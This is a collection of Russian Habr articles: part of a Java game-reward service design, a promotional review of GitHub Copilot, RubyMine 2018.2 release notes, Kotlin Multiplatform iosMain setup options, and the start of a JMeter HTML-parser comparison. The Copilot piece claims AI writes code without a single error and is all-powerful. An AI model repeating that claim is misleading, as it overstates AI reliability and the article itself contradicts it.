VALUES (3, 'Золото большое', 'GOLD', 500, 700);
```
И добавим репозиторий для получения наград на сервере. Я использую Spring Data для этого.
```
public interface RewardRepository extends JpaRepository {
}
```
Теперь мы можем получить созданные награды на нашем сервере. Но это пока по сути лишь конфигурация награды. Теперь нам нужно по этой конфигурации рассчитать награду, которую получит пользователь. Для этого нам понадобится ContentGenerator. Это вспомогательный сервис, который на основе данных награды, по специфичной бизнес логике, генерирует контент награды. Так как у нас есть награды с шансом выпадения, то ContentGenerator может проверить выпадет награда или нет, он может посчитать количество награды, которое выпадет и провести другие вспомогательные функции.
```
public interface ContentGenerator {
/**
* Should drop reward
*/
boolean shouldDropReward(int chance);
/**
* Generate random count in interval
*/
int generateCount(Integer from, Integer to, Integer count);
}
```
Я привожу несколько вариантов взятия награды. Мы пока сосредоточимся на получении награды по ее id.
```
public class RewardServiceImpl implements RewardService {
@Override
@SneakyThrows
public List claimReward(long rewardId) {
Profile currentProfile = profileService.getCurrentProfile();
Reward reward = (Reward) rewardRepository.findById(rewardId).orElseThrow(() -> new RuntimeException("Reward not found"));
return claimReward(currentProfile, reward);
}
@Override
@SneakyThrows
public List claimReward(Profile profile, Reward reward) {
List rewards = reward.rewardFor(profile, contentGenerator);
Map mapContentServices = gameContentServices
.stream()
.collect(Collectors.toMap(GameContentService::getSupportedType, gameContentService -> gameContentService));
List resultList = new ArrayList<>();
/\*
\* Save and apply reward for profile
\*/
processReward(rewards, mapContentServices, resultList);
return resultList;
}
}
```
Для того чтобы применить награду на профиль нам потребуются различные GameContentService.
```
public interface GameContentService {
/\*\*
\* Save or update content to profile
\*/
T saveOrUpdate(T content);
/\*\*
\* Get supported type of Service, for add reward to profile
\*/
Class getSupportedType();
}
```
Эти сервисы необходимы для того, чтобы определить поддерживаемый тип награды и сохранить награду по специфичной бизнес логике.
В целом это все что необходимо в такой архитектуре, для создания и применения награды. Не сложно заметить, что достаточно удобно докидывать новые типы наград и процессоры для них. Мы по сути не меняем старый код (кроме одного enum, от которого в целом можно отказаться). Поддерживается принцип open-close.
Что думаете по поводу такого решения? Как у вас реализован такой механизм на backend? | https://habr.com/ru/post/569500/ | null | ru | null |
# GitHub Copilot
В современном компьютерном и интернет-мире всё взаимодействие, не только пользователей, а в общем со структурой выстраивается с помощью различных программ, интерфейсов, и подобных им оптимизированных для простого человека сложных разработках. Но кто же занимается непосредственно разработкой различного вида software? Первый ответ, который придет в голову обывателю – это конечно же ПРОГРАММИСТ. Если обобщить в понятие программист всевозможные виды и подходы к разработке, можно согласиться с ответом обывателя. Давайте рассмотрим всех инженеров, backend, frontend разработчиков как единое понятие – программист.
Что делает программист для того, чтобы создать приложение, сайт или какую-то иную сущность для взаимодействия в сети Интернет или просто в компьютерах? Правильно, пишет код! Кодов в современном «программировании» – это бесчисленное количество. Языков программирования для написания этих кодов уж точно не меньше… Как помочь программисту в этой нелегкой задаче, что может существенно облегчать или способствовать его работе? Ведь огромный проект даже в руках умелого разработчика может занимать дни, месяца, года, века… Для создания компьютерных игр у огромных компаний, где работают буквально тысячи высококвалифицированных профессионалов, уходят годы… Конечно же, можно напрямую поспособствовать программистам в их нелегкой задаче – сделать массаж, приготовить им покушать, включить приятную музыку для атмосферы, но это практически никак не повлияет на производительность, разве что ускорит выполнение ими естественных биологических потребностей.
Реальную помощь может оказать самый настоящий искусственный интеллект! Ведь он не живой, у него нет усталости, ошибок в плане человеческого фактора и прочих недостатков, присущих человеку с момент его появления на свет. Банально – огромная часть времени во время написания программы уходит на рутинные задачи, которые требуют не столько мышления и мозгового штурма, сколько времени и ресурсов нашего организма. Благо искусственный интеллект умеет выполнять рутинные действия в считанные секунды, не допуская при этом ни одной ошибки!!!
В своей статье я не только расскажу вам о шаге в будущее, об идеальном применении «Трёх законов робототехники» (по Айзеку Азимову) и настоящем IT прогрессе, а даже покажу это чудо на практике! Речь пойдет о «**GitHub Copilot»**. Настоятельно рекомендую ознакомиться со всем, что здесь будет написано, я уверен, что вы не пожалеете и обязательно воспользуетесь возможностью, которую я вам покажу!
Краткий экскурс в само понятие **GitHub Copilot** для гуманитария. Существует такой сайт – [**github.com**](https://github.com/), представляющий из себя открытый репозиторий, а проще говоря онлайн-сервис хранения и синхронизации кода для программистов и разработчиков приложений. Главной целью этого сервиса и является поддержка совместной разработки проектов и контроля версий.
Летом 2021 года один из крупнейших IT-гигантов компания **Microsoft** совместно со своей дочерней компанией **GitHub** объявила о запуске системы **Copilot** («второй пилот») – нейросети, способной правильно писать код за разработчиков. Давайте попробуем выяснить, как это всё работает, на что способен искусственный интеллект, как получить доступ к сервису, а также сможет ли компьютер написать программу за того, кто думает, что Python это английское название одного из видов змей.
### Что такое Copilot?
Генеральный директор **GitHub Нэт Фриндман** в своём блоге говорит о разработке просто:
> «GitHub Copilot — ваш искусственный напарник-программист».
>
>
Система в реальном времени анализирует код, который пишет пользователь, а затем предлагает варианты его продолжения в виде отдельных фрагментов или целых функций. Напоминает подсказки к запросам в интернет-поисковике, не так ли?
Самая интересная способность “**Copilot**” — превращать обычные человеческие слова и предложения в программный код. Расширение работает на базе нейросети Codex компании OpenAI, которая способна переводить английский язык в язык программирования. По крайней мере, так кажется пользователю.
Получается, программа просто берёт подходящий под контекст код из хранилища данных GitHub. Разве она не ошибается? Может он только мешает своими глупыми вставками!
Давайте проанализируем: В последнем исследовании разработчики сервиса обнаружили, что пользователи приняли в среднем **26%** всех подсказок, показанных **GitHub Copilot**. Также было подсчитано, что **GitHub Copilot** создает в среднем более **27%** файлов кода разработчиков, а на некоторых языках, таких как Python, этот показатель достигает **40%**. Однако **GitHub Copilot** не пишет идеальный код. Он предназначен для создания наилучшего возможного кода с учетом контекста, к которому у него есть доступ, но он не проверяет предлагаемый код, поэтому программа не всегда может работать без дополнительного вмешательства человека или вовсе иметь смысл… Для предлагаемого кода некоторые языки, такие как **Python**, **JavaScript**, **TypeScript** и **Go**, могут работать лучше, чем другие языки программирования, ведь база для нейросети формируется из анализа разработок других людей, а другие люди пишут на том, что имеет спрос и популярность. Как и любой другой код, варианты, предложенные **GitHub Copilot**, должны быть тщательно протестированы и проверены. Как разработчик, вы всегда несете ответственность.
### GitHub GOpilot
Давайте же применим наш искусственный интеллект на практике. Ниже демонстрируется работа на языке программирования **Java**. Попросим нашего робота создать программу, перемножающую две матрицы размера 3х3. Писать такой код руками вышло бы 5–10 минут в руках умелого программиста, ведь нужно не только написать, но и продумать алгоритм, как будет происходить умножение.
Первым делом создадим класс, отвечающий за перемножение двух заданных матриц.
Для этого напишем программе прямым текстом то, что мы от нее хотим: **«multiply matrix A and B and return the result»**. Перемножь матрицы А и Б и верни результат. Примечательно то, как вы можете заметить, что программа выдает подсказки даже в написании ей задачи… Далее просто нажимаем Enter, ждем буквально одну секунду, и программа выдает нам готовый код для поставленной задачи, нажимаем Tab и код интегрируется в нашу программу! Великолепно, идем дальше. Следующим шагом просто создаем экземпляр нашего класса-калькулятора, задаем две матрицы для работы (даже с этим программа помогла, но я решил увеличить матрицы с 2х2 до 3х3 вручную), а затем просто нажимаем Tab, Tab, Tab, Tab и запускаем программу!
Результатом работы данной программы служит такая матрица:
Теперь давайте обратимся к обычному онлайн калькулятору, передадим ему наши исходные матрицы и проверим, не ошибся ли наш помощник???
**Невероятно!** Результаты идентичны, но вы можете сказать: «Пфф, ну это легко, с нормальными задачами то он не справится, умножать любой может». А давайте проверим!
Типичная задачка на алгоритмы в Java. Написать программу, сортирующую положительные числа методом Cocktail Sort (ниже описан принцип работы этого метода сортировки)
Скопируем задание и вставим его в среду разработки для нашей нейросети:
Запускаем с данными, которые используют в примере составители задачи:
Итог:
Смотрим решение составителей:
```
import java.util.Arrays;
class cocktailSort
{
void cocktailSort(int nums[])
{
boolean swapped;
do {
swapped = false;
for (int i =0; i<= nums.length - 2;i++) {
if (nums[ i ] > nums[ i + 1 ]) {
//test if two elements are in the wrong order
int temp = nums[i];
nums[i] = nums[i+1];
nums[i+1]=temp;
swapped = true;
}
}
if (!swapped) {
break;
}
swapped = false;
for (int i= nums.length - 2;i>=0;i--) {
if (nums[ i ] > nums[ i + 1 ]) {
int temp = nums[i];
nums[i] = nums[i+1];
nums[i+1]=temp;
swapped = true;
}
}
} while (swapped);
}
// Method to test above
public static void main(String args[])
{
cocktailSort ob = new cocktailSort();
int nums[] = {7, 5, 3, 2, 1, 12, 45};
System.out.println("Original Array:");
System.out.println(Arrays.toString(nums));
ob.cocktailSort(nums);
System.out.println("Sorted Array");
System.out.println(Arrays.toString(nums));
}
}
```
Смотрим ответ:
Сверяем:
#### Безупречно.
Показанное выше – лишь малейшая часть возможностей этого сервиса, чтобы вам был понятен принцип его действия. По своей практику могу заверить вас – эта система буквально всесильна, не было той задачи с которым она не смогла справиться хотя бы частично, что существенно ускоряет работу и повышает производительность.
### Отдайте мне…
Наверняка вам стало интересно, а как получить это добро и использовать в своих целях? Поспешу разочаровать всех, кто не является студентом или работником **Университета ИТМО** – с 21.06.2022 сервис **GitHub Copilot** стал платным, что по мне очень логично, такой функционал не мог долго существовать в свободном доступе… Но если вы всё же студент или сотрудник **ИТМО**, **GitHub Copilot** принадлежит вам по праву, и не только он…
### GitHub Student Developer Pack
> «Learn to ship software like a pro. There's no substitute for hands-on experience. But for most students, real world tools can be cost-prohibitive. That's why we created the GitHub Student Developer Pack with some of our partners and friends».
>
>
Для получения привилегий сервисов **GitHub**, в том числе и **Copilot**, достаточно зарегистрироваться на сайте[**GitHub**](https://github.com/) и подать заявку на получение статуса **PRO** по студенческой «льготе». Для этого будет необходимо прикрепить фото студенческого билета и прикрепить почтовый ящик на домене университета.
Подробная информация, конечно: [**тут**](https://education.github.com/pack)
### Установка
Установка сервиса в вашу интегрированную среду разработки тоже до невозможности проста. Покажу на примере **PyCharm** от компании **JetBrains.**
### Summary.
Внедрение более интеллектуальных систем может привести к огромным изменениям в опыте разработок, инженерии, стартапов и в общем **IT** сферы. Наверное, не стоит ожидать, что **GitHub Copilot** заменит разработчиков. Скорее, **GitHub Copilot** будет сотрудничать с разработчиками, расширять их возможности и позволять им работать более продуктивно, сокращать количество ручных операций и помогать им сосредоточиться на интересной, творческой работе и мыслительном процессе. Также стоит предположить, что **GitHub Copilot** поможет снизить «входные барьеры», позволяя большему количеству людей изучать разработку программного обеспечения и присоединяться к следующему поколению разработчиков. Необходимо работать над проверкой этих гипотез чтобы делать наш мир лучше!
---
xhackerino. 2022 | https://habr.com/ru/post/674658/ | null | ru | null |
# RubyMine 2018.2: присоединение отладчика к удаленным процессам, chruby, улучшенный анализ кода и многое другое
Привет, Хабр!
Сезон летних обновлений IDE на базе IntelliJ продолжается, и в этой серии мы расскажем, чему новому научился RubyMine в версиях 2018.1 и вышедшей на днях **[RubyMine 2018.2](https://www.jetbrains.com/ruby/whatsnew/)**.
Оглавление
----------
[Run/Debug Anything](#run_debug_anything)
[Постфиксное дополнение кода](#postfix_completion)
[Рендеринг диаграмм в маркдауне](#markdown_diagrams)
[Улучшенный анализ кода](#code_insight)
[Поддержка chruby и улучшения для менеджеров версий Ruby](#version_managers)
[Перезапуск упавших тестов](#rerun_failed_tests)
[YAML](#yaml)
[Присоединение отладчика к удаленным процессам](#attach_to_remote_process)
[JavaScript](#javascript)
[Git](#git)
[Кое-что еще](#other)
Run/Debug Anything
------------------
Дискуссия в нашем [пользовательском Slack-чате](http://slack.rubymine.org/) привела к созданию удобного инструмента для запуска различных конфигураций и команд — *Run Anything*. Принцип его работы в чем-то схож с *[Search Everywhere](https://www.jetbrains.com/help/ruby/searching-everywhere.html)*. Однако вместо поиска чего угодно, Run Anything по двойному нажатию *Ctrl* позволяет запустить что угодно: rake-таски, `rails s`, тесты и другие конфигурации, а также консольные команды.
Более того, если при вызванном Run Anything зажать *Shift*, то инструмент перейдет в режим *Debug Anything*, что позволяет удобно запускать отладчик.
Кстати, как вы можете заметить, RubyMine запоминает ранее запущенные команды и скрипты и в будущем предложит их в выпадающем списке. [Подробнее](https://blog.jetbrains.com/ruby/2018/01/rubymine-2018-1-eap1-is-open/#run_anything_action).
Постфиксное дополнение кода
---------------------------
Данная фича позволяет видоизменять, переворачивать и дополнять выражения без необходимости возврата в начало строки, для того чтобы, например, вставить условие. Теперь можно просто поставить точку и выбрать `if`. IDE поместит условие в начало строки автоматически. Если же возможных вариантов будет несколько, то RubyMine предложит выбрать нужный из списка.
Полный список поддерживаемых постфиксных темплейтов можно посмотреть в настройках (*Preferences / Settings | Editor | General | Postfix Completion*). Там же можно и отключить неактуальные. [Подробнее](https://blog.jetbrains.com/ruby/2018/03/postfix-code-completion-in-2018-1/).
Рендеринг диаграмм в маркдауне
------------------------------
Превью маркдаун-файлов научилось отрисовывать диаграммы, которые есть в коде. Вставьте `puml` перед кодом диаграммы в `.md`-файле, чтобы RubyMine подхватил синтаксис и отобразил диаграмму в превью. [Подробнее](https://blog.jetbrains.com/ruby/2018/01/rubymine-2018-1-eap1-is-open/#inline_diagrams_in_markdown).
Отметим, что поддержка Markdown осуществляется через [плагин](https://plugins.jetbrains.com/plugin/7793-markdown-support), совместимый с другими IDE от JetBrains. В RubyMine и IntelliJ IDEA Ultimate плагин установлен по умолчанию.
Улучшенный анализ кода
----------------------
Мы существенно переписали вывод типов и механизм анализа Ruby-файлов. Благодаря этому значительно улучшилось автодополнение и навигация по коду.
Как видно на изображении, появилось новое действие для просмотра типа переменной. Вызвать его можно, нажав *Ctrl+Shift+P* (*View | Expression Type*). [Подробнее](https://blog.jetbrains.com/ruby/2018/06/rerun-failed-tests-code-insight-for-block-elements-2018-2-eap/#code_insight_for_blocks).
Также в новом релизе доступно автодополнение и навигация к моделям с полиморфными связями. [Подробнее](https://blog.jetbrains.com/ruby/2018/05/rubymine-2018-2-eap-is-open/#polymorphic_associations).
Поддержка chruby и улучшения для менеджеров версий Ruby
-------------------------------------------------------
В новой версии добавлена поддержка chruby и asdf. Вместе с тем все поддерживаемые менеджеры версий (RVM, rbenv, chruby, и asdf) стали доступны при подключении через WSL, Docker, а также через SSH и другие удаленные соединения.
Напомним, настроить удаленную SDK можно следующим образом: *Preferences / Settings | Languages & Frameworks | Ruby SDK and Gems | New remote*.
Перезапуск упавших тестов
-------------------------
Теперь после запуска тестов можно отдельно перезапустить только те, которые не прошли. Просто нажмите на соответствующую иконку.
Новая возможность также доступна при использовании пресетов типа `rake test` и `rake spec`.
YAML
----
Поддержка YAML была значительно расширена для всех IDE на базе IntelliJ. Прежде всего, мы добавили возможность форматирования кода в файлах `.yml`. Для форматирования используйте комбинацию клавиш ⌥⌘L / Ctrl+Alt+L (*Code | Reformat Code*). [Подробнее](https://blog.jetbrains.com/ruby/2018/06/chruby-asdf-yaml-rubymine-2018-2-eap/#yaml_code_formatter).
Появилась навигация по коду, автодополнение и поиск использований якорей (`&`) и их ссылок (`*`).
Также, якоря и ссылки можно переименовывать в одно действие (*Shift+F6*). Чтобы избежать конфликтов, IDE предупредит о том, что вы пытаетесь использовать имя уже существующего якоря. [Подробнее](https://blog.jetbrains.com/ruby/2018/05/yaml-support-rubymine-2018-2-eap/#yaml_anchors_aliases).
Среди других улучшений — поддержка JSON Schema для автодополнения соответствующих конфигураций в YAML, а также возможность копирования пути к значению в YAML-файлах. [Подробнее](https://blog.jetbrains.com/ruby/2018/06/more-yaml-improvements-2018-2-eap/).
Присоединение отладчика к удаленным процессам
---------------------------------------------
В версии 2016.3 мы [анонсировали](https://habr.com/company/JetBrains/blog/317004/) возможность присоединения отладчика к запущенным локальным процессам и пообещали добавить возможность присоединения к удаленным. В свежей версии мы реализовали обещанное!
Чтобы начать отладку, подключитесь к удаленному серверу через SSH (*Preferences/Settings | Ruby SDK and Gems | New Remote | SSH Credentials*). Не забудьте указать путь к интерпретатору Ruby.
Дополнительно можно связать локальную версию приложения с той, что запущена на сервере (*Edit Path Mappings*). Это упростит расстановку брейкпоинтов в любом месте приложения для дальнейшей отладки.
Теперь вы готовы к отладке удаленных процессов! Чтобы начать, выберите *Run | Attach to Process* или же найдите соответствующее действие, вызвав окно Find Action (*Help | Find Action*), как указано на картинке:
Подробнее о настройке отладки удаленных процессов **[читайте в нашем блоге](https://blog.jetbrains.com/ruby/2018/05/rubymine-2018-2-eap-is-open/#attach_to_remote_processes)**.
JavaScript
----------
* Добавлен набор новых быстрых дополнений кода (*Alt+Enter*) для JavaScript и TypeScript: *Implement interface, Create derived class, Implement members of an interface or abstract class, Generate cases for 'switch'* и другие.
* В IDE стали доступны все новые возможности TypeScript 2.9 и TypeScript 3.0.
* Добавлен *Annotate with type from JSDoc* и другие быстрые исправления из TypeScript Language Service.
* Появилась возможность извлечения компонентов React (*Refactor | Extract Component*) и конвертации классовых компонентов в функциональные (и наоборот).
* В файлах `.vue` стало доступно автодополнение для событий и их обработчиков.
Подробнее об улучшениях JavaScript можно узнать из видео:
Git
---
Файлы, содержащие конфликты, теперь удобно группируются под пунктом *Merge Conflicts*. Нажав на *Resolve* вы ожидаемо попадете в диалог *Files Merged with Conflicts*.
Еще одна новая удобная опция, *Browse repository at revision*, позволяет просматривать более ранние версии репозитория. Активировать опцию можно, вызвав контекстное меню на нужном коммите в Git-логе. IDE откроет Project tool window, из которого можно перейти к просмотру более ранних версий файлов приложения.
В новой версии можно закоммитить изменения, минуя диалог *Push*. Для этого уберите соответствующую галочку в *Preferences / Settings | Version Control | Git*. Если вы нажмете *Commit and Push* (⌥⌘K | Ctrl+Alt+K) при следующем коммите в диалоге *Commit Changes*, IDE не станет дополнительно отображать диалог *Push*, а сразу отправит изменения в репозиторий.
Кое-что еще
-----------
В новой версии вы также обнаружите улучшенный CoffeeScript, возможность использования разных аккаунтов GitHub, обновленные иконки и поддержку тачбара на макбуках.
Скачать новую версию можно на странице **[What’s new](https://www.jetbrains.com/ruby/whatsnew/)**. Напоминаем, что первые 30 дней можно пользоваться RubyMine бесплатно. | https://habr.com/ru/post/418931/ | null | ru | null |
# Варианты настройки iosMain sourceSet'а в Kotlin Multiplatform Mobile
При использовании Kotlin Multiplatform Mobile сталкиваешься с непривычной особенностью — iOS код рассматривается компилятором в нескольких вариантах: iosArm64 и iosX64, а также iosArm32 (для поддержки девайсов вышедших до iPhone 5s). При разработке под iOS на Swift про эти особенности не думаешь, так как это скрыто в header’ах системных библиотек условиями препроцессора.
Для разработчика чаще всего и не должно быть необходимости учитывать архитектуру процессора, на котором будет запущено приложение (особенно если архитектуры одинаковой битности, как iosArm64 и iosX64). И код под обе архитектуры полностью одинаковый, поэтому проект настраивают под использование одного источника исходного кода — iosMain. Есть несколько вариантов объединения ios кода в одном sourceSet, каждый со своими плюсами и минусами.
#### Commonizer в Kotlin 1.4
Kotlin Multiplatform позволяет строить иерархию из KotlinSourceSet’ов. Например, сделать промежуточный sourceSet со всем ios кодом, как на схеме ниже.
iosMain в иерархии (source — https://kotlinlang.org/docs/reference/mpp-share-on-platforms.html)С такой настройкой можно расположить весь код связанный с ios в iosMain sourceSet. Он будет успешно компилироваться, но до Kotlin 1.4 IDE не могла корректно анализировать данный код, так как не известно под какую платформу нужно делать анализ — Arm64 или же X64. В результате мы получали ошибки в IDE (но для компилятора все было валидно):
С Kotlin 1.4 проблема поддержки IDE решена за счет нового инструмента — Commonizer. Он автоматически проводит поиск общего между iosArm64Main и iosX64Main и генерирует специальную iosMain klib, в которой содержатся все общие декларации, а IDE проводит анализ используя эту klib. Подробнее про commonizer вы можете узнать в выступлении разработчика Kotlin/Native.
Для настройки своего проекта под этот вариант нужно указать в build.gradle.kts:
```
plugins {
kotlin("multiplatform")
}
kotlin {
ios {
binaries {
framework {
baseName = "shared"
}
}
}
sourceSets {
val commonMain by getting
val iosMain by getting
}
}
```
А для включения commonizer добавляем в gradle.properties:
```
kotlin.mpp.enableGranularSourceSetsMetadata=true
kotlin.native.enableDependencyPropagation=false
```
В результате получаем одно место с исходным кодом iOS и работающую помощь от IDE.
Но есть и ограничения — не всё iOS API доступно в iosMain. Например, протокол UITextFieldDelegateProtocol полностью пуст:
```
public expect interface UITextFieldDelegateProtocol : platform.darwin.NSObjectProtocol {
}
```
Хотя при работе из iosX64Main/iosArm64Main мы видим полный интерфейс:
```
public interface UITextFieldDelegateProtocol : platform.darwin.NSObjectProtocol {
public open fun textField(textField: platform.UIKit.UITextField, shouldChangeCharactersInRange: kotlinx.cinterop.CValue, replacementString: kotlin.String): kotlin.Boolean
public open fun textFieldDidBeginEditing(textField: platform.UIKit.UITextField): kotlin.Unit
...
}
```
А так-же при настройке cinterop (например при подключении cocoapods в Kotlin) все декларации не доступны в iosMain при просмотре через IDE (хотя для компилятора все будет корректно работать).
Настроенный пример можно [посмотреть на GitHub](https://github.com/Alex009/kotlin-iosmain-sample/tree/1b0205e6e6e270a014b70b5373daddb617846412/commonizer).
Плюсы:
1. промежуточный sourceSet полноценно поддерживается IDE
2. отдельные gradle-задачи для компиляции обеих архитектур
Минусы:
1. cInterop не видны для IDE в промежуточном sourceSet
2. коммонизация работает только на 1 уровне иерархии (если за iosMain сделать appleMain для ios, macos - не будет работать обобщение)
3. не все API доступно в промежуточном sourceSet
4. внешние библиотеки должны иметь свой опубликованный промежуточный sourceSet (не важно как он зовется — важно какие таргеты в нем объединены)
**Один sourceSet для iOS**
Следующий подход указан в [документации Kotlin Multiplatform Mobile](https://kotlinlang.org/docs/mobile/add-dependencies.html#workaround-to-enable-ide-support-for-the-shared-ios-source-set). В данном случае предлагается на этапе конфигурирования gradle выбирать какой таргет нам использовать — iosX64 или iosArm64. И выбор этот делается на основе переменной окружения SDKNAME — она подставляется Xcode автоматически. Поэтому с данным подходом мы сможем скомпилировать под девайс только из Xcode.
Настройка делается следующим образом:
```
import org.jetbrains.kotlin.gradle.plugin.mpp.KotlinNativeTarget
plugins {
kotlin("multiplatform")
}
kotlin {
val iosTarget: (String, KotlinNativeTarget.() -> Unit) -> KotlinNativeTarget =
if (System.getenv("SDK_NAME")?.startsWith("iphoneos") == true)
::iosArm64
else
::iosX64
iosTarget("ios") {
binaries {
framework {
baseName = "shared"
}
}
}
sourceSets {
val commonMain by getting
val iosMain by getting
}
}
```
В итоге получаем iosMain полностью работающий и с IDE и с cInterop:
Настроенный пример можно [посмотреть на GitHub](https://github.com/Alex009/kotlin-iosmain-sample/tree/1b0205e6e6e270a014b70b5373daddb617846412/onesourceset).
Плюсы:
1. iosMain содержит весь код под обе платформы
2. cInterop корректно работает
Минусы:
1. Конфигурация в gradle зависит от переменных окружения
2. В gradle доступна только одна задача компиляции iOS, а какая архитектура будет собираться решается переменной окружения
3. Для компиляции под девайс нужно собирать из Xcode
#### Arm64 sourceSet depends on X64
Выставление зависимостей между sourceSet можно использовать и не только для иерархии. Например указать зависимость iosArm64Main от iosX64Main.
Для настройки требуется создание отдельных таргетов и указание зависимости:
```
plugins {
kotlin("multiplatform")
}
kotlin {
val ios = listOf(iosX64(), iosArm64())
configure(ios) {
binaries {
framework {
baseName = "shared"
}
}
}
sourceSets {
val commonMain by getting
val iosX64Main by getting
val iosArm64Main by getting {
dependsOn(iosX64Main)
}
}
}
```
А весь код в таком случае располагается в директории iosX64Main:
Настроенный пример можно [посмотреть на GitHub](https://github.com/Alex009/kotlin-iosmain-sample/tree/1b0205e6e6e270a014b70b5373daddb617846412/armdependsx).
Плюсы:
1. код не дублирован, лежит в одном из sourceSet
2. всё платформенное API доступно
3. отдельные gradle-задачи для компиляции обеих архитектур
4. cInterop корректно поддерживается
Минусы:
1. до Kotlin 1.4 cInterop с такой конфигурацией не поддерживался (была ошибка о подключении некорректной архитектуры в линковку)
#### symlink Arm64 to X64
Последний вариант, используемый нами в [IceRock](https://github.com/icerockdev), позволяет не дублировать код, использовать все API и cInterop, а также не требует сложных настроек. Чтобы не дублировать код мы просто создаем symlink для одного из ios sourceSet:
```
ln -s iosX64Main iosArm64Main
```
А в gradle настраиваем проект с двумя ios таргетами:
```
plugins {
kotlin("multiplatform")
}
kotlin {
val ios = listOf(iosX64(), iosArm64())
configure(ios) {
binaries {
framework {
baseName = "shared"
}
}
}
sourceSets {
val commonMain by getting
}
}
```
В результате получаем желаемый результат:
Настроенный пример можно [посмотреть на GitHub](https://github.com/Alex009/kotlin-iosmain-sample/tree/1b0205e6e6e270a014b70b5373daddb617846412/symlinks).
Плюсы:
1. код не дублирован, лежит в одном sourceSet, а symlink его отражает
2. всё платформенное API доступно
3. cinterop доступен и корректно работает на всех версиях Kotlin
Минусы:
1. git изменения не видны при просмотре через symlink директорию
2. IDE не замечает автоматически изменения symlink файлов (нужно делать reload directory или же просто работать всегда в одном сорссете)
3. не работает на Windows (но для iOS и не нужно) | https://habr.com/ru/post/536480/ | null | ru | null |
# Выбираем html-парсер для Apache.JMeter
*Среднее качество работы парсеров (для семи сайтов)*
Предлагаю:
* посчитать среднее качество полноты извлечения ссылок на встроенные ресурсы html-парсерами **Apache.JMeter**;
* проверить правда ли извлечение ссылок в **Apache.JMeter** 3.0 стало более полным;
* испытать в деле плагин [CsvLogWriter](https://habrahabr.ru/post/308098/).
Как гласит народная мудрость: Верить верь, но…
Описание проекта
================
Когда вышел **Apache.JMeter** 3.0, был ещё в разработке, коллеги и я тестировали его и начали применять в работе. Первым в боевом тестировании применил новую версию Артём [zetsigemon](https://habrahabr.ru/users/zetsigemon/) для одной из новых услуг [pgu.mos.ru](https://pgu.mos.ru), где при использовании **Apache.JMeter** 3.0 качество разбора встроенных ресурсов значительно улучшилось по сравнению с предыдущей версией.
И тут появился вопрос, а каково это качество, как его измерить для разных сайтов, каким оно было и каким стало?
Материалы и результаты исследования отражены в текущей статье.
Объект тестирования
-------------------
Тестируются htmlParser-ы для **Apache.JMeter 2.13** и **Apache.JMeter 3.0**.
Парсеры **Apache.JMeter 2.13**:
* LagartoBasedHtmlParser;
* HtmlParserHTMLParser;
* JTidyHTMLParser;
* RegexpHTMLParser;
* JsoupBasedHtmlParser.
Парсесы **Apache.JMeter 3.0**:
* LagartoBasedHtmlParser;
* JTidyHTMLParser;
* RegexpHTMLParser;
* JsoupBasedHtmlParser.
Парсеры разбирают стартовые страницы различных веб-сайтов:
* stackoverflow.com;
* habrahabr.ru;
* yandex.ru;
* mos.ru;
* jmeter.apache.org;
* google.ru;
* linkedin.com;
* github.com.
Основа тестирования
-------------------
Основой послужили изменения в **Apache.JMeter 3.0**, см. <http://jmeter.apache.org/changes.html>.
**Выдержки из списка изменений:**
> #### Core improvements
>
>
>
> ##### Dependencies refresh
>
>
>
> Deprecated Libraries dropped or replaced by up to date ones:
>
> * htmllexer, htmlparser removed
> * jdom removed
>
>
>
>
> > *Удалён парсер **htmlparser** и более неиспользуемая библиотека **jdom**.*
>
>
>
> #### Protocols and Load Testing improvements
>
>
>
> ##### Parallel Downloads is now realistic and scales much better:
>
>
>
> * Parsing of CSS imported files (through [import](https://habrahabr.ru/users/import/)) or embedded resources (background, images, …)
>
>
>
>
> > *Добавлен новый парсер для CSS-файлов, будут извлекаться ссылки на другие CSS-файлы (через [import](https://habrahabr.ru/users/import/)) и ссылки на ресурсы, указанные в CSS-файлах: фоновые изображения, картинки, ...*
>
>
>
> #### Incompatible changes
>
>
>
> * Since version 3.0, the parser for embedded resources (replaced since 2.10 by Lagarto based implementation) which relied on the htmlparser library (HtmlParserHTMLParser) has been dropped along with its dependencies.
> * The following jars have been removed:
> + htmllexer-2.1.jar (see [Bug 59037](http://bz.apache.org/bugzilla/show_bug.cgi?id=59037))
> + htmlparser-2.1.jar (see [Bug 59037](http://bz.apache.org/bugzilla/show_bug.cgi?id=59037))
> + jdom-1.1.3.jar (see [Bug 59156](http://bz.apache.org/bugzilla/show_bug.cgi?id=59156))
>
>
>
>
> > *Удалён парсер **htmlparser** и более неиспользуемые библиотеки **htmllexer** и **jdom**.*
>
>
>
> #### Improvements
>
>
>
> ##### HTTP Samplers and Test Script Recorder
>
>
>
> * [Bug 59036](http://bz.apache.org/bugzilla/show_bug.cgi?id=59036) — FormCharSetFinder: Use JSoup instead of deprecated HTMLParser
> * [Bug 59033](http://bz.apache.org/bugzilla/show_bug.cgi?id=59033) — Parallel Download: Rework Parser classes hierarchy to allow plug-in parsers for different mime types
> * [Bug 59140](http://bz.apache.org/bugzilla/show_bug.cgi?id=59140) — Parallel Download: Add CSS Parsing to extract links from CSS files
>
>
>
>
> > *Для поиска аттрибута `accept-charset` в тегах `form` теперь используется **JSoup** вместо удалённого **HTMLParser** [Bug 59036]. Реализован парсер CSS-файлов [Bug 59140] и этот парсер используется по умолчанию [Bug 59033].*
> >
> >
>
>
Цели тестирования
-----------------
Сравнить работу всех доступных парсеров. В частности сравнить между собой парсеры версий 2.13 и 3.0, убедиться, что загрузка встроенных ресурсов стала реалистичнее и лучше.
Стратегия
---------
Этап 1:
1. Выполнить загрузку стартовых страниц списка сайтов используя все 5 парсеров **Apache.JMeter** 2.13 и записать логи.
2. Выполнить загрузку стартовых страниц списка сайтов используя все 4 парсера **Apache.JMeter** 3.0 и записать логи.
3. Проанализировать логи работы **Apache.JMeter** и сравнить их между собой. Оценить, стала ли загрузка встроенных ресурсов лучше, расширился ли перечень загружаемых встроенных ресурсов.
Этап 2:
1. Выполнить загрузку стартовых страниц списка популярных сайтов, используя **Google Chrome** и сервис **webpagetest.org**.
2. Проанализировать отчёты из **webpagetest.org** и сравнить их с результатами анализа логов **Apache.JMeter**. Оценить, реалистичность загрузки встроенных ресурсов.
Подход к тестированию
---------------------
Чтобы точно определить сколько запросов посылается во время открытия страницы сайта из **Apache.JMeter** все запросы логируются:
* **View Results Tree** — стандратный логгер, логирование в XML-формат с логированием подзапросов, XML-лог будет использоваться для выяснения деталей запросов/ответов/ошибок;
